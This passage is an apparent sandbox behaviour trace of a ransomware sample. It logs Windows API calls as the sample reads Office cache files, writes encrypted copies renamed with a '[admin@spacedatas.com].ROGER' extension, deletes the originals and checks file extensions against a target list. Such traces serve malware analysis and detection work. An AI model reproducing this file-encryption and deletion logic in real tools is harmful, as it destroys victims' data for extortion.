dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.085] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.085] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0047.085] GetLastError () returned 0x0 [0047.085] ReadFile (in: hFile=0x368, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0xd4200, lpOverlapped=0x0) returned 1 [0047.103] WriteFile (in: hFile=0x39c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0047.379] ReadFile (in: hFile=0x368, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0047.379] WriteFile (in: hFile=0x39c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0047.379] SetEndOfFile (hFile=0x39c) returned 1 [0047.379] CloseHandle (hObject=0x39c) returned 1 [0047.379] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.379] SetEndOfFile (hFile=0x368) returned 1 [0047.386] CloseHandle (hObject=0x368) returned 1 [0047.386] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0047.386] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0047.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.387] lstrlenW (lpString=".doc") returned 4 [0047.387] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.387] lstrlenW (lpString=".docx") returned 5 [0047.387] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0047.387] lstrlenW (lpString=".pdf") returned 4 [0047.387] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.387] lstrlenW (lpString=".xls") returned 4 [0047.387] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.387] lstrlenW (lpString=".xlsx") returned 5 [0047.387] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0047.387] lstrlenW (lpString=".ppt") returned 4 [0047.387] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.387] lstrlenW (lpString=".zip") returned 4 [0047.387] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.387] lstrlenW (lpString=".rar") returned 4 [0047.387] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.387] lstrlenW (lpString=".bz2") returned 4 [0047.387] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.387] lstrlenW (lpString=".7z") returned 3 [0047.387] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.387] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.388] lstrlenW (lpString=".dbf") returned 4 [0047.388] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.388] lstrlenW (lpString=".1cd") returned 4 [0047.388] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.388] lstrlenW (lpString=".jpg") returned 4 [0047.388] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.388] lstrlenW (lpString=".doc") returned 4 [0047.388] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.388] lstrlenW (lpString=".docx") returned 5 [0047.388] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0047.388] lstrlenW (lpString=".pdf") returned 4 [0047.388] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.388] lstrlenW (lpString=".xls") returned 4 [0047.388] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.388] lstrlenW (lpString=".xlsx") returned 5 [0047.388] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0047.388] lstrlenW (lpString=".ppt") returned 4 [0047.388] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.388] lstrlenW (lpString=".zip") returned 4 [0047.388] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.388] lstrlenW (lpString=".rar") returned 4 [0047.388] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.388] lstrlenW (lpString=".bz2") returned 4 [0047.388] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.389] lstrlenW (lpString=".7z") returned 3 [0047.389] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.389] lstrlenW (lpString=".dbf") returned 4 [0047.389] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.389] lstrlenW (lpString=".1cd") returned 4 [0047.389] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0047.389] lstrlenW (lpString=".jpg") returned 4 [0047.389] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.389] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0047.389] lstrlenW (lpString="PidGenX.dll") returned 11 [0047.389] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0047.389] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=1463568) returned 1 [0047.390] CloseHandle (hObject=0x368) returned 1 [0047.390] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0047.390] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.390] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0047.390] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.390] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.390] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0047.390] GetLastError () returned 0x0 [0047.390] ReadFile (in: hFile=0x368, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0047.783] WriteFile (in: hFile=0x39c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0047.803] ReadFile (in: hFile=0x368, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x65520, lpOverlapped=0x0) returned 1 [0047.816] WriteFile (in: hFile=0x39c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0048.005] ReadFile (in: hFile=0x368, lpBuffer=0x4a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesRead=0x3fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.005] WriteFile (in: hFile=0x39c, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.005] SetEndOfFile (hFile=0x39c) returned 1 [0048.259] CloseHandle (hObject=0x39c) returned 1 [0048.259] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.259] SetEndOfFile (hFile=0x368) returned 1 [0048.263] CloseHandle (hObject=0x368) returned 1 [0048.263] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0048.263] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0048.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.417] lstrlenW (lpString=".doc") returned 4 [0048.418] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.418] lstrlenW (lpString=".docx") returned 5 [0048.418] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0048.418] lstrlenW (lpString=".pdf") returned 4 [0048.418] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.418] lstrlenW (lpString=".xls") returned 4 [0048.418] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.418] lstrlenW (lpString=".xlsx") returned 5 [0048.418] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0048.418] lstrlenW (lpString=".ppt") returned 4 [0048.418] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.418] lstrlenW (lpString=".zip") returned 4 [0048.418] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.418] lstrlenW (lpString=".rar") returned 4 [0048.418] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.418] lstrlenW (lpString=".bz2") returned 4 [0048.418] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.418] lstrlenW (lpString=".7z") returned 3 [0048.418] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.418] lstrlenW (lpString=".dbf") returned 4 [0048.418] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.418] lstrlenW (lpString=".1cd") returned 4 [0048.418] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.418] lstrlenW (lpString=".jpg") returned 4 [0048.418] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.419] lstrlenW (lpString=".doc") returned 4 [0048.419] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.419] lstrlenW (lpString=".docx") returned 5 [0048.419] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0048.419] lstrlenW (lpString=".pdf") returned 4 [0048.419] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.419] lstrlenW (lpString=".xls") returned 4 [0048.419] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.419] lstrlenW (lpString=".xlsx") returned 5 [0048.419] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0048.419] lstrlenW (lpString=".ppt") returned 4 [0048.419] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.419] lstrlenW (lpString=".zip") returned 4 [0048.419] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.419] lstrlenW (lpString=".rar") returned 4 [0048.419] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.419] lstrlenW (lpString=".bz2") returned 4 [0048.419] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.419] lstrlenW (lpString=".7z") returned 3 [0048.419] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.419] lstrlenW (lpString=".dbf") returned 4 [0048.419] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.419] lstrlenW (lpString=".1cd") returned 4 [0048.419] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.419] lstrlenW (lpString=".jpg") returned 4 [0048.419] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.420] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0048.420] lstrlenW (lpString="Office32WW.msi") returned 14 [0048.420] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.603] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=1992192) returned 1 [0048.603] CloseHandle (hObject=0x358) returned 1 [0048.603] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0048.603] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.603] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0048.603] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.603] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0x0) returned 1 [0048.604] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.604] ReadFile (in: hFile=0x358, lpBuffer=0x4a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4a70058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.658] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.659] ReadFile (in: hFile=0x358, lpBuffer=0x4ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4ab0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.661] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.662] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.662] ReadFile (in: hFile=0x358, lpBuffer=0x4af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4af0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.690] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.691] WriteFile (in: hFile=0x358, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x3fbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0048.819] SetEndOfFile (hFile=0x358) returned 1 [0048.819] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4e40088 [0048.822] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.822] WriteFile (in: hFile=0x358, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.823] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.823] WriteFile (in: hFile=0x358, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.825] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0048.825] WriteFile (in: hFile=0x358, lpBuffer=0x4e40088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4e40088*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.827] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0048.827] CloseHandle (hObject=0x358) returned 1 [0048.827] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0048.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.828] lstrlenW (lpString=".doc") returned 4 [0048.828] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.828] lstrlenW (lpString=".docx") returned 5 [0048.828] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.828] lstrlenW (lpString=".pdf") returned 4 [0048.828] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.828] lstrlenW (lpString=".xls") returned 4 [0048.828] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.828] lstrlenW (lpString=".xlsx") returned 5 [0048.828] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.828] lstrlenW (lpString=".ppt") returned 4 [0048.828] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.828] lstrlenW (lpString=".zip") returned 4 [0048.828] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.828] lstrlenW (lpString=".rar") returned 4 [0048.828] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.828] lstrlenW (lpString=".bz2") returned 4 [0048.828] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.828] lstrlenW (lpString=".7z") returned 3 [0048.828] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.828] lstrlenW (lpString=".dbf") returned 4 [0048.828] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.828] lstrlenW (lpString=".1cd") returned 4 [0048.828] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.829] lstrlenW (lpString=".jpg") returned 4 [0048.829] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.829] lstrlenW (lpString=".doc") returned 4 [0048.829] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.829] lstrlenW (lpString=".docx") returned 5 [0048.829] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.829] lstrlenW (lpString=".pdf") returned 4 [0048.829] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.829] lstrlenW (lpString=".xls") returned 4 [0048.829] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.829] lstrlenW (lpString=".xlsx") returned 5 [0048.829] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.829] lstrlenW (lpString=".ppt") returned 4 [0048.829] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.829] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.829] lstrlenW (lpString=".zip") returned 4 [0048.829] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.829] lstrlenW (lpString=".rar") returned 4 [0048.829] lstrcmpiW 